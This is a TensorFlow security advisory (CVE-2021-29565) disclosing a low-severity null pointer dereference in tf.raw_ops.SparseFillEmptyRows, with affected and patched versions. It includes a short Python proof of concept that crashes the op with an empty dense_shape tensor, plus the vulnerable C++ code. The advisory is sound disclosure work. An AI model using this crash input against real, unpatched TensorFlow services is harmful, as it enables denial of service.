Null pointer dereference in `SparseFillEmptyRows`

Low mihaimaruseac published GHSA-r6pg-pjwc-j585 on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`:

```python
import tensorflow as tf

indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
dense_shape = tf.constant([], shape=[0], dtype=tf.int64)
default_value = 0

tf.raw_ops.SparseFillEmptyRows(
    indices=indices, values=values, dense_shape=dense_shape,
    default_value=default_value)
```

This is because of missing validation that was covered under a `TODO`. If the `dense_shape` tensor is empty, then `dense_shape_t.vec<>()` would cause a null pointer dereference in the implementation of the op:

```cpp
template <typename T, typename Tindex>
struct SparseFillEmptyRows<CPUDevice, T, Tindex> {
  Status operator()(OpKernelContext* context, const Tensor& default_value_t,
                    const Tensor& indices_t, const Tensor& values_t,
                    const Tensor& dense_shape_t,
                    typename AsyncOpKernel::DoneCallback done) {
    ...
    const auto dense_shape = dense_shape_t.vec<Tindex>();
    ...
  }
}
```

Patches

We have patched the issue in GitHub commit faa76f39014ed3b5e2c158593b1335522e573c7f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29565

Weaknesses

No CWEs